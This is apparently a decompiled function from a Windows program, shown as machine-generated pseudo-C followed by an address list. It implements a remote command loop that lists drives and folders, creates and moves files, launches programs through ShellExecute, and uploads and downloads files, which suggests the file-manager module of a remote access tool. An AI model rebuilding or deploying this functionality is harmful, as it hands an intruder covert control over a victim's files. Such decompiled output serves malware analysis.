				intOrPtr* _v12;
				intOrPtr _v16;
				void _v20;
				signed int _v24;
				long _v29;
				signed int _v33;
				signed int _v35;
				signed char _v36;
				signed int _v40;
				char _v41;
				unsigned int _v49;
				signed int _v53;
				short _v55;
				char _v56;
				signed int _v60;
				signed int _v65;
				unsigned int _v69;
				short _v71;
				char _v72;
				char _v76;
				intOrPtr _v81;
				signed int _v85;
				char _v88;
				signed int _v93;
				signed int _v97;
				short _v99;
				char _v100;
				unsigned int _v105;
				void* _v109;
				short _v111;
				char _v112;
				unsigned int _v117;
				short _v123;
				char _v124;
				unsigned int _v129;
				long _v133;
				short _v135;
				char _v136;
				struct _OVERLAPPED* _v141;
				long _v145;
				char _v148;
				unsigned int _v153;
				struct _OVERLAPPED* _v157;
				short _v159;
				char _v160;
				long _v164;
				signed int _v176;
				intOrPtr _v181;
				intOrPtr _v185;
				short _v187;
				char _v188;
				intOrPtr _v193;
				signed int _v197;
				char _v200;
				struct _SYSTEMTIME _v216;
				union _LARGE_INTEGER* _v220;
				union _LARGE_INTEGER _v224;
				struct _SYSTEMTIME _v240;
				unsigned int _v245;
				struct _OVERLAPPED* _v249;
				char _v252;
				struct _FILETIME _v260;
				long _v264;
				signed int _v276;
				char _v288;
				void* _v296;
				void* _v304;
				short _v340;
				short _v872;
				struct _WIN32_FIND_DATAW _v944;
				short _v1392;
				char _v1920;
				struct _WIN32_FIND_DATAW _v1992;
				char _v2440;
				char _v2696;
				short _v3224;
				short _v3264;
				char _v3744;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t441;
				void* _t457;
				signed int _t459;
				void* _t461;
				signed int _t465;
				signed int _t466;
				signed int _t467;
				signed int _t470;
				void* _t476;
				void* _t483;
				signed int _t485;
				signed int _t490;
				void* _t493;
				void* _t494;
				void* _t496;
				signed int _t498;
				signed int _t499;
				signed int _t502;
				signed int* _t503;
				void* _t504;
				void* _t513;
				unsigned int _t514;
				void* _t524;
				signed int _t527;
				unsigned int _t529;
				signed int _t530;
				signed int _t532;
				short _t550;
				signed char _t555;
				void* _t558;
				signed int _t560;
				void* _t562;
				signed int _t564;
				signed int _t566;
				signed int _t574;
				signed int _t577;
				signed int _t578;
				void* _t586;
				short _t591;
				signed int _t597;
				signed int _t599;
				void* _t602;
				signed int _t604;
				signed int _t606;
				void* _t609;
				signed int _t611;
				signed int _t614;
				void* _t618;
				signed int _t621;
				signed int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t645;
				unsigned int _t647;
				signed int _t649;
				signed int _t651;
				void* _t657;
				char* _t666;
				signed int _t667;
				void* _t673;
				short _t678;
				intOrPtr _t680;
				signed int _t685;
				signed int _t689;
				void* _t695;
				void* _t705;
				void* _t706;
				short _t707;
				void* _t719;
				void* _t729;
				void* _t730;
				short _t731;
				signed int _t738;
				void* _t744;
				void* _t751;
				signed int _t752;
				signed int _t753;
				void* _t755;
				intOrPtr _t759;
				int _t764;
				int _t766;
				signed int _t786;
				signed int _t790;
				int _t792;
				intOrPtr* _t793;
				void* _t794;
				void* _t797;
				void* _t799;
				signed int _t807;
				void* _t835;
				void* _t838;
				signed int _t839;
				signed int _t840;
				void* _t841;
				void* _t842;
				short* _t846;
				WCHAR* _t847;
				signed int _t849;
				WCHAR* _t856;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				void* _t861;
				signed int _t871;
				signed int _t872;
				unsigned int _t874;
				signed int _t875;
				signed int _t876;
				void* _t881;
				unsigned int _t882;
				signed int _t884;
				void* _t886;
				char* _t888;
				unsigned int _t889;
				void* _t891;
				unsigned int _t894;
				unsigned int _t895;
				WCHAR* _t896;
				void* _t897;
				void* _t898;

				_t801 = __ecx;
				_t441 = E0040E205(0x460);
				_t793 = _t441;
				_v12 = _t793;
				_t900 = _t793;
				if(_t793 == 0) {
					return _t441;
				}
				if(E00416730(_t793, _t900) == 0) {
					L186:
					E00414B3B(_a4, _t801, 0, 1, 0, 0, 0, 0);
					if( *((char*)(_t793 + 0x10)) != 0) {
						CloseHandle( *(_t793 + 0x14));
					}
					if( *(_t793 + 0x246) != 0) {
						CloseHandle( *(_t793 + 0x248));
					}
					_t851 =  *_t793;
					if( *_t793 != 0) {
						E00415420(_t851);
					}
					_t852 =  *((intOrPtr*)(_t793 + 4));
					if( *((intOrPtr*)(_t793 + 4)) != 0) {
						E00415420(_t852);
					}
					_t853 =  *(_t793 + 8);
					if( *(_t793 + 8) != 0) {
						E00415420(_t853);
					}
					_t445 =  *(_t793 + 0xc);
					if( *(_t793 + 0xc) != 0) {
						E0040E235(_t445);
					}
					 *(_t793 + 0x14) =  *(_t793 + 0x14) | 0xffffffff;
					 *(_t793 + 0x248) =  *(_t793 + 0x248) | 0xffffffff;
					 *((char*)(_t793 + 0x10)) = 0;
					 *(_t793 + 0x246) = 0;
					 *((short*)(_t793 + 0x456)) = 0;
					 *((char*)(_t793 + 0x458)) = 0;
					 *(_t793 + 0x45c) = 0;
					return E0040E235(_t793);
				} else {
					_v93 = _v93 & 0;
					_v97 = _v97 & 0;
					_v100 = 0;
					_v99 = 0;
					while(E004165A1(_t801, _a4,  &_v100, 0xb) != 0xffffffff) {
						_t457 = E00416504(_t801, _a4,  *_t793,  &_v124, 0xb, 0x2710, 0x1f4);
						if(_t457 == 0xffffffff) {
							goto L186;
						}
						if(_t457 != 0) {
							_t801 =  &_v100;
							_t459 = E0040E2A6( &_v124,  &_v100, 0xb);
							__eflags = _t459;
							if(_t459 != 0) {
								goto L186;
							}
							_t461 = E00416504( &_v100, _a4,  *_t793,  &_v20, 8, 0xea60, 0x1f4);
							__eflags = _t461 - 1;
							if(_t461 == 1) {
								_t19 = _t793 + 0x45c;
								 *_t19 =  *(_t793 + 0x45c) & 0x00000000;
								__eflags =  *_t19;
								goto L11;
								do {
									while(1) {
										L11:
										_t881 =  ==  ? _v20 : _v16;
										_t465 = E00416504(_t801, _a4,  *_t793,  &_v36, 0xb, _t881, _t881);
										__eflags = _t465;
										if(_t465 == 0) {
											break;
										}
										__eflags = _t465 - 0xffffffff;
										if(_t465 == 0xffffffff) {
											goto L186;
										}
										_t466 = _v36 & 0x000000ff;
										 *(_t793 + 0x45c) = 0;
										__eflags = _t466 - 7;
										if(__eflags > 0) {
											_t467 = _t466 - 8;
											__eflags = _t467;
											if(_t467 == 0) {
												__eflags =  *((char*)(_t793 + 0x10));
												L182:
												if(__eflags == 0) {
													continue;
												}
												L183:
												E004166F0(_t793);
												continue;
											}
											_t470 = _t467 - 1;
											__eflags = _t470;
											if(_t470 == 0) {
												_t383 = _t793 + 0x18; // 0x18
												_t856 = _t383;
												E0040E2E8(_t470, _t856, 0, 0x20a);
												_t882 = _v29;
												__eflags = _t882 - 0x1e6;
												if(_t882 >= 0x1e6) {
													continue;
												}
												_t475 =  ==  ? _v20 : _v16;
												_t476 = E00416504(_t801, _a4,  *_t793, _t856, _t882, 0xea60,  ==  ? _v20 : _v16);
												__eflags = _t476 - 1;
												if(_t476 != 1) {
													goto L186;
												}
												_v60 = _v60 & 0;
												 *((short*)(_t793 + 0x18 + (_t882 >> 1) * 2)) = 0;
												_t481 =  ==  ? _v20 : _v16;
												_t483 = E00416504(_t801, _a4,  *_t793,  &_v60, 4, 0xea60,  ==  ? _v20 : _v16);
												__eflags = _t483 - 1;
												if(_t483 != 1) {
													goto L186;
												}
												_t835 = 0x2a;
												_t485 = E0040EF0E(_t856, _t835);
												_t884 = _t485;
												__eflags = _t884;
												if(_t884 != 0) {
													_t402 = _t884 + 2; // 0x2
													_t801 = _t402;
													_t403 = _t793 + 0x222; // 0x222
													E0040E5D6(_t485 | 0xffffffff, _t402, _t403);
													__eflags = 0;
													 *_t884 = 0;
												} else {
													 *(_t793 + 0x222) = _t485;
												}
												_t490 = (_v35 & 0x0000ffff) - 1;
												__eflags = _t490;
												if(_t490 == 0) {
													__eflags = 1;
													goto L173;
												} else {
													_t499 = _t490 - 1;
													__eflags = _t499;
													if(_t499 == 0) {
														_push(3);
														L171:
														_pop(1);
														L173:
														_t493 = CreateFileW(_t856, 0xc0000000, 3, 0, 1, 0x8000000, 0);
														__eflags = _v35 - 2;
														 *(_t793 + 0x14) = _t493;
														if(_v35 == 2) {
															_push(2);
															_t498 = SetFilePointerEx(_t493, 0, 0,  &_v304);
															__eflags = _t498;
															if(_t498 == 0) {
																_t408 = _t793 + 0x14;
																 *_t408 =  *(_t793 + 0x14) | 0xffffffff;
																__eflags =  *_t408;
															}
														}
														__eflags =  *(_t793 + 0x14) - 0xffffffff;
														_v200 = 0xa;
														if( *(_t793 + 0x14) != 0xffffffff) {
															_t413 =  &_v197;
															 *_t413 = _v197 & 0x00000000;
															__eflags =  *_t413;
														} else {
															_v197 = GetLastError();
														}
														_t494 = E0040ED84(_t856);
														_t801 =  &_v200;
														_v193 = _t494 + _t494;
														_t496 = E004165C7(_t494 + _t494,  &_v200, __eflags, _a4,  &_v200, _t856);
														__eflags = _t496 - 0xffffffff;
														if(_t496 == 0xffffffff) {
															goto L186;
														} else {
															 *((char*)(_t793 + 0x458)) = 0;
															 *((char*)(_t793 + 0x10)) = 1;
															continue;
														}
													}
													__eflags = _t499 != 1;
													if(_t499 != 1) {
														goto L186;
													}
													_push(5);
													goto L171;
												}
											}
											_t502 = _t470;
											__eflags = _t502;
											if(_t502 == 0) {
												__eflags =  *((char*)(_t793 + 0x10));
												if( *((char*)(_t793 + 0x10)) == 0) {
													__eflags =  *(_t793 + 0x246);
													if( *(_t793 + 0x246) == 0) {
														_v288 = 0xb;
														_t503 =  &_v288;
														L23:
														_t504 = E004165A1(_t801, _a4, _t503, 0xb);
														L24:
														__eflags = _t504 - 0xffffffff;
														goto L25;
													}
													 *((short*)(_t793 + 0x457)) = 0x101;
													continue;
												}
												 *((char*)(_t793 + 0x458)) = 1;
												goto L183;
											}
											__eflags = _t502 != 0;
											if(_t502 != 0) {
												goto L186;
											}
											_t857 = _v29;
											_t886 = E0040E205(_v29 + 2);
											__eflags = _t886;
											if(_t886 == 0) {
												goto L186;
											}
											_t512 =  ==  ? _v20 : _v16;
											_t513 = E00416504(_t801, _a4,  *_t793, _t886, _t857, 0xea60,  ==  ? _v20 : _v16);
											__eflags = _t513 - 1;
											if(_t513 == 1) {
												_t514 = _v29;
												_v53 = _v53 & 0;
												 *((short*)(_t886 + (_t514 >> 1) * 2)) = 0;
												_t801 = 1;
												_v49 = _t514;
												_t838 = 0x2a;
												_v56 = 0xd;
												_v55 = 1;
												_t858 = E0040EF0E(_t886, _t838);
												__eflags = _t858;
												if(__eflags == 0) {
													_t859 = E004165C7(_v29, 1, __eflags, _a4,  &_v56, _t886);
													L154:
													E0040E235(_t886);
													__eflags = _t859 - 0xffffffff;
													goto L25;
												}
												 *_t858 = 0;
												_t801 = _t886;
												E0040E5D6(0xffffffff, _t801,  &_v872);
												_t524 = 0x2a;
												 *_t858 = _t524;
												_t860 = _t858 + 2;
												_v60 = _t860;
												_t527 = E0040E205(_v33 << 2);
												_v40 = _v40 & 0x00000000;
												__eflags = _v33;
												_v24 = _t527;
												if(__eflags <= 0) {
													L149:
													_push(_t886);
													_push( &_v56);
													_t529 = _v29;
													L150:
													_push(_a4);
													_t530 = E004165C7(_t529, _t801, __eflags);
													L151:
													_t859 = _t530;
													L152:
													E0040E235(_v24);
													goto L154;
												}
												_t807 = _v40;
												_t849 = _t860;
												do {
													_t532 =  *_t860 & 0x0000ffff;
													__eflags = _t532 - 0x2a;
													if(_t532 == 0x2a) {
														__eflags = _t532;
														L139:
														_v41 = __eflags == 0;
														 *_t860 = 0;
														 *(_v24 + _t807 * 4) = _t849;
														_t801 = _t807 + 1;
														_t860 = _t860 + 2;
														__eflags = _v41;
														_v40 = _t801;
														_t849 = _t860;
														if(_v41 != 0) {
															break;
														}
														goto L140;
													}
													__eflags = _t532;
													if(__eflags == 0) {
														goto L139;
													}
													_t860 = _t860 + 2;
													L140:
													__eflags = _t801 - _v33;
												} while (_t801 < _v33);
												__eflags = _t801;
												if(__eflags == 0) {
													goto L149;
												}
												__eflags = GetTempPathW(0x104,  &_v3224);
												if(__eflags == 0) {
													goto L149;
												}
												__eflags = E00412877(0,  &_v3224,  &_v1920, L".tmp", 8, 8);
												if(__eflags == 0) {
													goto L149;
												}
												_t801 =  &_v1920;
												_v53 = E0040ED84( &_v1920) + _t540;
												__eflags = E0041661A(_v29,  &_v1920, __eflags, _a4,  &_v56, _t886,  &_v1920, E0040ED84( &_v1920) + _t540);
												if(__eflags == 0) {
													_t859 = _t860 | 0xffffffff;
													goto L152;
												}
												__eflags = E0041BD1F(__eflags,  &_v1920, _v24, _v40,  &_v872);
												if(__eflags == 0) {
													_push(_t886);
													_push( &_v56);
													_t529 = _v49;
													goto L150;
												}
												_t550 = 2;
												_v55 = _t550;
												_t530 = E0041661A(_v49, _t801, __eflags, _a4,  &_v56, _t886,  &_v1920, _v53);
												goto L151;
											}
											E0040E235(_t886);
											continue;
										}
										if(__eflags == 0) {
											_t555 =  *((intOrPtr*)(_t793 + 0x10));
											__eflags = _t555;
											if(_t555 == 0) {
												continue;
											}
											_t801 =  *(_t793 + 0x246) | _t555;
											_t557 =  ==  ? _v20 : _v16;
											_t558 = E00416504( *(_t793 + 0x246) | _t555, _a4,  *_t793,  *(_t793 + 0xc), _v29, 0xea60,  ==  ? _v20 : _v16);
											__eflags = _t558 - 1;
											if(_t558 != 1) {
												goto L186;
											}
											_v148 = 0xc;
											_t560 = WriteFile( *(_t793 + 0x14),  *(_t793 + 0xc), _v29,  &_v264, 0);
											__eflags = _t560;
											if(_t560 != 0) {
												_v145 = 0;
											} else {
												_v145 = GetLastError();
											}
											_v141 = 0;
											_t562 = E004165A1(_t801, _a4,  &_v148, 0xb);
											__eflags = _t562 - 0xffffffff;
											if(_t562 == 0xffffffff) {
												goto L186;
											} else {
												__eflags = _v145;
												goto L182;
											}
										}
										_t564 = _t466 - 1;
										__eflags = _t564;
										if(_t564 == 0) {
											_t566 = (_v35 & 0x0000ffff) - 1;
											__eflags = _t566;
											if(_t566 == 0) {
												_t861 = 0;
												_t568 = GetLogicalDriveStringsA(0x100,  &_v2696);
												_t286 = _t568 - 3; // -3
												_v24 = _t568;
												__eflags = _t286;
												if(__eflags == 0) {
													L117:
													_v123 = 1;
													_push( &_v2696);
													_v124 = 2;
													_v117 = _t568;
													_t801 =  &_v124;
													L89:
													_push(_t801);
													L90:
													_push(_a4);
													_t504 = E004165C7(_t568, _t801, __eflags);
													goto L24;
												} else {
													goto L107;
												}
												do {
													L107:
													_t888 = _t897 + _t861 - 0xa82;
													 *((char*)(_t897 + E0040E271( &_v76, _t888 - 2, E0040ED72(_t888 - 2)) - 0x48)) = 0;
													_t574 = GetDriveTypeA( &_v76);
													__eflags = _t574;
													if(_t574 == 0) {
														 *_t888 = 0x66;
													} else {
														_t577 = _t574 - 1;
														__eflags = _t577;
														if(_t577 == 0) {
															 *_t888 = 0x6c;
														} else {
															_t578 = _t577 - 1;
															__eflags = _t578;
															if(_t578 == 0) {
																 *_t888 = 0x6e;
															} else {
																__eflags = _t578 == 1;
																if(_t578 == 1) {
																	 *_t888 = 0x63;
																}
															}
														}
													}
													_t861 = _t861 + 4;
													__eflags = _t861 - _v24 + 0xfffffffd;
												} while (__eflags < 0);
												_t568 = _v24;
												goto L117;
											}
											__eflags = _t566 != 1;
											if(_t566 != 1) {
												goto L186;
											}
											_t889 = _v29;
											__eflags = _t889 - 0x208;
											if(_t889 >= 0x208) {
												goto L186;
											}
											_t584 =  ==  ? _v20 : _v16;
											_t586 = E00416504(_t801, _a4,  *_t793,  &_v872, _t889, 0xea60,  ==  ? _v20 : _v16);
											__eflags = _t586 - 1;
											if(_t586 != 1) {
												continue;
											}
											 *((short*)(_t897 + (_t889 >> 1) * 2 - 0x364)) = 0;
											_t839 = _t897 + E0040ED84( &_v872) * 2 - 0x364;
											E0040E5D6(_t588 | 0xffffffff, "*", _t839);
											_t591 = 2;
											_v71 = _t591;
											_v72 = 2;
											_t891 = FindFirstFileW( &_v872,  &_v1992);
											__eflags = _t891 - 0xffffffff;
											if(_t891 != 0xffffffff) {
												do {
													_t839 = _t839 | 0xffffffff;
													_t597 = E0040EE45(_t839, L"..", _t839,  &(_v1992.cFileName));
													__eflags = _t597;
													if(_t597 == 0) {
														goto L98;
													}
													_t839 = _t839 | 0xffffffff;
													_t801 = ".";
													_t621 = E0040EE45(_t839, ".", _t839,  &(_v1992.cFileName));
													__eflags = _t621;
													if(_t621 == 0) {
														goto L98;
													}
													FileTimeToSystemTime( &(_v1992.ftLastWriteTime),  &_v216);
													wsprintfW( &_v3264, L"%s*%2.2d/%2.2d/%4.4d %2.2d:%2.2d",  &(_v1992.cFileName), _v216.wMonth & 0x0000ffff, _v216.wDay & 0x0000ffff, _v216.wYear & 0x0000ffff, _v216.wHour & 0x0000ffff, _v216.wMinute & 0x0000ffff);
													_t898 = _t898 + 0x20;
													_push( &_v1992);
													_t797 = 4;
													_t635 = E0041543F(_t797,  *((intOrPtr*)(_v12 + 8)));
													__eflags = _t635;
													if(_t635 == 0) {
														L185:
														_t793 = _v12;
														goto L186;
													}
													_t638 = E0041543F(_t797,  *((intOrPtr*)(_v12 + 8)),  &(_v1992.nFileSizeHigh));
													__eflags = _t638;
													if(_t638 == 0) {
														goto L185;
													}
													_t641 = E0041543F(_t797,  *((intOrPtr*)(_v12 + 8)),  &(_v1992.nFileSizeLow));
													__eflags = _t641;
													if(_t641 == 0) {
														goto L185;
													}
													_t801 =  &_v3264;
													_t259 = E0040ED84( &_v3264) + 2; // 0x2
													_t645 = E0041543F(_t642 + _t259,  *((intOrPtr*)(_v12 + 8)),  &_v3264);
													__eflags = _t645;
													if(_t645 == 0) {
														goto L185;
													}
													_t793 = _v12;
													L98:
													_t599 = FindNextFileW(_t891,  &_v1992);
													__eflags = _t599;
												} while (_t599 != 0);
												FindClose(_t891);
												_t840 =  *( *(_t793 + 8));
												_t801 =  &_v872;
												_v65 = _t840;
												_t602 = E0040ED84( &_v872);
												_t568 = _t602 + _t602 - 2;
												_v69 = _t602 + _t602 - 2;
												__eflags = _t840;
												if(__eflags == 0) {
													L88:
													_push( &_v872);
													_t801 =  &_v72;
													goto L89;
												}
												_t604 = E0040E205(_t840);
												_v40 = _t604;
												__eflags = _t604;
												if(_t604 == 0) {
													goto L186;
												}
												_t892 = _v12;
												_push( &_v72);
												_t794 = 0xb;
												_t606 = E0041543F(_t794,  *((intOrPtr*)(_v12 + 4)));
												__eflags = _t606;
												if(_t606 == 0) {
													L184:
													E0040E235(_v40);
													goto L185;
												}
												_t795 = _v65;
												_t609 = E004154A6(_v65,  *((intOrPtr*)(_t892 + 8)), _v40);
												__eflags = _t609 - 1;
												if(_t609 != 1) {
													goto L184;
												}
												_t611 = E0041543F(_t795,  *((intOrPtr*)(_v12 + 4)), _v40);
												__eflags = _t611;
												if(_t611 == 0) {
													goto L184;
												}
												_t614 = E0041543F(_v69,  *((intOrPtr*)(_v12 + 4)),  &_v872);
												__eflags = _t614;
												if(_t614 == 0) {
													goto L184;
												}
												E0040E235(_v40);
												L74:
												_t618 = E00416688( *((intOrPtr*)(_v12 + 4)), _t801, __eflags, _a4);
												__eflags = _t618 - 0xffffffff;
												if(_t618 == 0xffffffff) {
													goto L185;
												}
												_t793 = _v12;
												continue;
											}
											_t647 = E0040ED84( &_v872) - 1;
											_v69 = _t647;
											_v65 = 0;
											_t568 = _t647 + _t647;
											__eflags = _t647 + _t647;
											goto L88;
										}
										_t649 = _t564;
										__eflags = _t649;
										if(_t649 == 0) {
											_t651 = (_v35 & 0x0000ffff) - 1;
											__eflags = _t651;
											if(_t651 == 0) {
												_t894 = _v29;
												__eflags = _t894 - 0x208;
												if(_t894 >= 0x208) {
													goto L186;
												}
												_t655 =  ==  ? _v20 : _v16;
												_t657 = E00416504(_t801, _a4,  *_t793,  &_v872, _t894, 0xea60,  ==  ? _v20 : _v16);
												__eflags = _t657 - 1;
												if(_t657 != 1) {
													continue;
												}
												_t801 = 0;
												 *((short*)(_t897 + (_t894 >> 1) * 2 - 0x364)) = 0;
												_v159 = 1;
												_v160 = 4;
												__eflags = CreateDirectoryW( &_v872, 0);
												if(__eflags == 0) {
													_v157 = GetLastError();
												} else {
													_v157 = 0;
												}
												_push( &_v872);
												_v153 = _t894;
												_t666 =  &_v160;
												L62:
												_push(_t666);
												_t568 = _t894;
												goto L90;
											}
											_t667 = _t651 - 1;
											__eflags = _t667;
											if(_t667 == 0) {
												_t895 = _v29;
												__eflags = _t895 - 0x208;
												if(_t895 >= 0x208) {
													goto L186;
												}
												_t671 =  ==  ? _v20 : _v16;
												_t673 = E00416504(_t801, _a4,  *_t793,  &_v872, _t895, 0xea60,  ==  ? _v20 : _v16);
												__eflags = _t673 - 1;
												if(_t673 != 1) {
													continue;
												}
												 *((short*)(_t897 + (_t895 >> 1) * 2 - 0x364)) = 0;
												PathIsDirectoryW( &_v872);
												_t678 = 2;
												_v187 = _t678;
												_v188 = 4;
												_t680 = E00413C06( &_v872);
												_t801 =  &_v872;
												_v185 = _t680;
												_v181 = E0040ED84( &_v872) + _t681;
												_push( &_v188);
												_t799 = 0xb;
												_t685 = E0041543F(_t799,  *((intOrPtr*)(_v12 + 4)));
												__eflags = _t685;
												if(_t685 == 0) {
													goto L185;
												}
												__eflags = E0041543F(_t895,  *((intOrPtr*)(_v12 + 4)),  &_v872);
												if(__eflags == 0) {
													goto L185;
												}
												goto L74;
											}
											_t689 = _t667 - 1;
											__eflags = _t689;
											if(_t689 == 0) {
												_t894 = _v29;
												__eflags = _t894 - 0x412;
												if(_t894 >= 0x412) {
													goto L186;
												}
												_t693 =  ==  ? _v20 : _v16;
												_t695 = E00416504(_t801, _a4,  *_t793,  &_v2440, _t894, 0xea60,  ==  ? _v20 : _v16);
												__eflags = _t695 - 1;
												if(_t695 != 1) {
													continue;
												}
												_t801 = 0;
												 *((short*)(_t897 + (_t894 >> 1) * 2 - 0x984)) = 0;
												_t841 = 0x2a;
												_t871 = E0040EF0E( &_v2440, _t841);
												__eflags = _t871;
												if(_t871 == 0) {
													continue;
												}
												_t152 = _t871 + 2; // 0x2
												_t847 =  &_v3744;
												E0040E5D6(_t699 | 0xffffffff, _t152, _t847);
												 *_t871 = 0;
												_t705 = E0040E271( &_v1392,  &_v2440, E0040ED84( &_v2440) + _t703);
												_t801 = 0;
												 *((short*)(_t897 + _t705 - 0x56c)) = 0;
												_t706 = 0x2a;
												 *_t871 = _t706;
												_t707 = 3;
												_v135 = _t707;
												_v136 = 4;
												__eflags = MoveFileW( &_v1392, _t847);
												if(__eflags == 0) {
													_v133 = GetLastError();
												} else {
													_v133 = _v133 & 0x00000000;
												}
												_push( &_v2440);
												_v129 = _t894;
												_t666 =  &_v136;
												goto L62;
											}
											__eflags = _t689 != 1;
											if(_t689 != 1) {
												goto L186;
											}
											_t894 = _v29;
											__eflags = _t894 - 0x412;
											if(_t894 >= 0x412) {
												goto L186;
											}
											_t717 =  ==  ? _v20 : _v16;
											_t719 = E00416504(_t801, _a4,  *_t793,  &_v2440, _t894, 0xea60,  ==  ? _v20 : _v16);
											__eflags = _t719 - 1;
											if(_t719 != 1) {
												continue;
											}
											_t801 = 0;
											 *((short*)(_t897 + (_t894 >> 1) * 2 - 0x984)) = 0;
											_t842 = 0x2a;
											_t872 = E0040EF0E( &_v2440, _t842);
											__eflags = _t872;
											if(_t872 == 0) {
												continue;
											}
											_t127 = _t872 + 2; // 0x2
											_t846 =  &_v3744;
											E0040E5D6(_t723 | 0xffffffff, _t127, _t846);
											 *_t872 = 0;
											_t729 = E0040E271( &_v1392,  &_v2440, E0040ED84( &_v2440) + _t727);
											_t801 = 0;
											 *((short*)(_t897 + _t729 - 0x56c)) = 0;
											_t730 = 0x2a;
											 *_t872 = _t730;
											_t731 = 4;
											_v111 = _t731;
											_v112 = 4;
											__eflags = ShellExecuteW(0, 0,  &_v1392, _t846, 0, 1) - 0x20;
											if(__eflags <= 0) {
												_v109 = GetLastError();
											} else {
												_v109 = 0;
											}
											_push( &_v2440);
											_v105 = _t894;
											_t666 =  &_v112;
											goto L62;
										}
										_t738 = _t649;
										__eflags = _t738;
										if(_t738 == 0) {
											_t59 = _t793 + 0x24c; // 0x24c
											_t896 = _t59;
											E0040E2E8(_t738, _t896, 0, 0x20a);
											_t874 = _v29;
											__eflags = _t874 - 0x208;
											if(_t874 >= 0x208) {
												continue;
											}
											_t743 =  ==  ? _v20 : _v16;
											_t744 = E00416504(_t801, _a4,  *_t793, _t896, _t874, 0xea60,  ==  ? _v20 : _v16);
											__eflags = _t744 - 1;
											if(_t744 != 1) {
												continue;
											}
											_t875 = _t874 >> 1;
											 *((short*)(_t793 + 0x24c + _t875 * 2)) = 0;
											_t749 =  ==  ? _v20 : _v16;
											_t751 = E00416504(_t801, _a4,  *_t793,  &_v224, 8, 0xea60,  ==  ? _v20 : _v16);
											__eflags = _t751 - 1;
											if(_t751 != 1) {
												continue;
											}
											_t752 = PathIsDirectoryW(_t896);
											__eflags = _t752;
											if(_t752 == 0) {
												_t753 = CreateFileW(_t896, 0x80000000, 1, 0, 3, 0x8000000, 0);
												 *(_t793 + 0x248) = _t753;
												__eflags = _t753 - 0xffffffff;
												if(_t753 != 0xffffffff) {
													_t755 = FindFirstFileW(_t896,  &_v944);
													__eflags = _t755 - 0xffffffff;
													if(_t755 == 0xffffffff) {
														L49:
														_t876 = _t875 | 0xffffffff;
														__eflags = _t876;
														_v176 = _t876;
														CloseHandle( *(_t793 + 0x248));
														L50:
														_v88 = 6;
														_v85 = _v176;
														_t759 = E0040ED84(_t896) + _t758;
														_v24 = _t876;
														L42:
														_t801 =  &_v88;
														_v81 = _t759;
														_t504 = E0041661A(_t759,  &_v88, __eflags, _a4,  &_v88, _t896,  &_v24, 4);
														goto L24;
													}
													FindClose(_t755);
													_t875 = _v944.nFileSizeHigh;
													_push(0);
													_v176 = 0 + _v944.nFileSizeLow;
													asm("adc edi, edx");
													_t764 = SetFilePointerEx( *(_t793 + 0x248), _v224, _v220,  &_v296);
													__eflags = _t764;
													if(_t764 == 0) {
														goto L49;
													}
													_t766 = GetFileTime( *(_t793 + 0x248), 0, 0,  &_v260);
													__eflags = _t766;
													if(_t766 != 0) {
														FileTimeToSystemTime( &_v260,  &_v240);
														wsprintfW( &_v340, L"%2.2d/%2.2d/%4.4d %2.2d:%2.2d", _v240.wMonth & 0x0000ffff, _v240.wDay & 0x0000ffff, _v240.wYear & 0x0000ffff, _v240.wHour & 0x0000ffff, _v240.wMinute & 0x0000ffff);
														_t898 = _t898 + 0x1c;
														E0040E5D6(E0040ED84(_t896) | 0xffffffff, "*",  &(_t896[_t777]));
														E0040E5D6(E0040ED84(_t896) | 0xffffffff,  &_v340,  &(_t896[_t780]));
													}
													goto L50;
												}
												_t876 = _t875 | _t753;
												_v176 = _t876;
												goto L50;
											}
											_v85 = _v85 | 0xffffffff;
											_v88 = 6;
											_t759 = E0040ED84(_t896) + _t783;
											_t78 =  &_v24;
											 *_t78 = _v24 | 0xffffffff;
											__eflags =  *_t78;
											goto L42;
										}
										__eflags = _t738 != 1;
										if(_t738 != 1) {
											goto L186;
										}
										__eflags = _v33 - 0xffffffff;
										if(_v33 != 0xffffffff) {
											 *((short*)(_t793 + 0x456)) = 0;
											 *(_t793 + 0x246) = 1;
											 *((char*)(_t793 + 0x458)) = 0;
										} else {
											CloseHandle( *(_t793 + 0x248));
										}
									}
									__eflags =  *(_t793 + 0x246);
									if( *(_t793 + 0x246) != 0) {
										__eflags =  *((char*)(_t793 + 0x456));
										if( *((char*)(_t793 + 0x456)) != 0) {
											L22:
											_t786 = CloseHandle( *(_t793 + 0x248));
											__eflags =  *((char*)(_t793 + 0x457));
											 *(_t793 + 0x246) = 0;
											_t790 = ((_t786 & 0xffffff00 |  *((char*)(_t793 + 0x457)) != 0x00000000) - 0x00000001 & 0x000000fd) + 0xb;
											__eflags = _t790;
											_v276 = _t790;
											_t503 =  &_v276;
											goto L23;
										}
										__eflags =  *((char*)(_t793 + 0x457));
										if( *((char*)(_t793 + 0x457)) != 0) {
											goto L22;
										}
										_t801 =  *(_t793 + 0x248);
										_t792 = ReadFile( *(_t793 + 0x248),  *(_t793 + 0xc), 0x1000,  &_v164, 0);
										__eflags = _t792;
										if(_t792 != 0) {
											_t568 = _v164;
											__eflags = _t568;
											if(__eflags != 0) {
												_push( *(_t793 + 0xc));
												_v252 = 7;
												_v249 = 0;
												_v245 = _t568;
												_t801 =  &_v252;
												goto L89;
											}
											 *((char*)(_t793 + 0x456)) = 1;
										} else {
											 *((char*)(_t793 + 0x457)) = 1;
										}
										goto L11;
									}
									 *(_t793 + 0x45c) =  *(_t793 + 0x45c) + _t881;
									__eflags =  *(_t793 + 0x45c) - 0xea60;
									if( *(_t793 + 0x45c) < 0xea60) {
										goto L11;
									} else {
										goto L186;
									}
									L25:
								} while (__eflags != 0);
							}
							goto L186;
						}
						 *(_t793 + 0x45c) =  *(_t793 + 0x45c) + 0x2710;
						if( *(_t793 + 0x45c) < 0xea60) {
							continue;
						} else {
							goto L186;
						}
					}
					goto L186;
				}
			}

0x0041676f
0x00416780
0x00416785
0x00416787
0x0041678a
0x0041678c
0x004177a6
0x004177a6
0x0041679b
0x0041770d
0x00417719
0x00417722
0x00417727
0x00417727
0x00417734
0x0041773c
0x0041773c
0x00417742
0x00417746
0x00417748
0x00417748
0x0041774d
0x00417752
0x00417754
0x00417754
0x00417759
0x0041775e
0x00417760
0x00417760
0x00417765
0x0041776a
0x0041776d
0x0041776d
0x00417772
0x00417776
0x0041777e
0x00417782
0x00417789
0x00417790
0x00417797
0x00000000
0x004167a1
0x004167a3
0x004167a6
0x004167a9
0x004167ad
0x004167bb
0x004167df
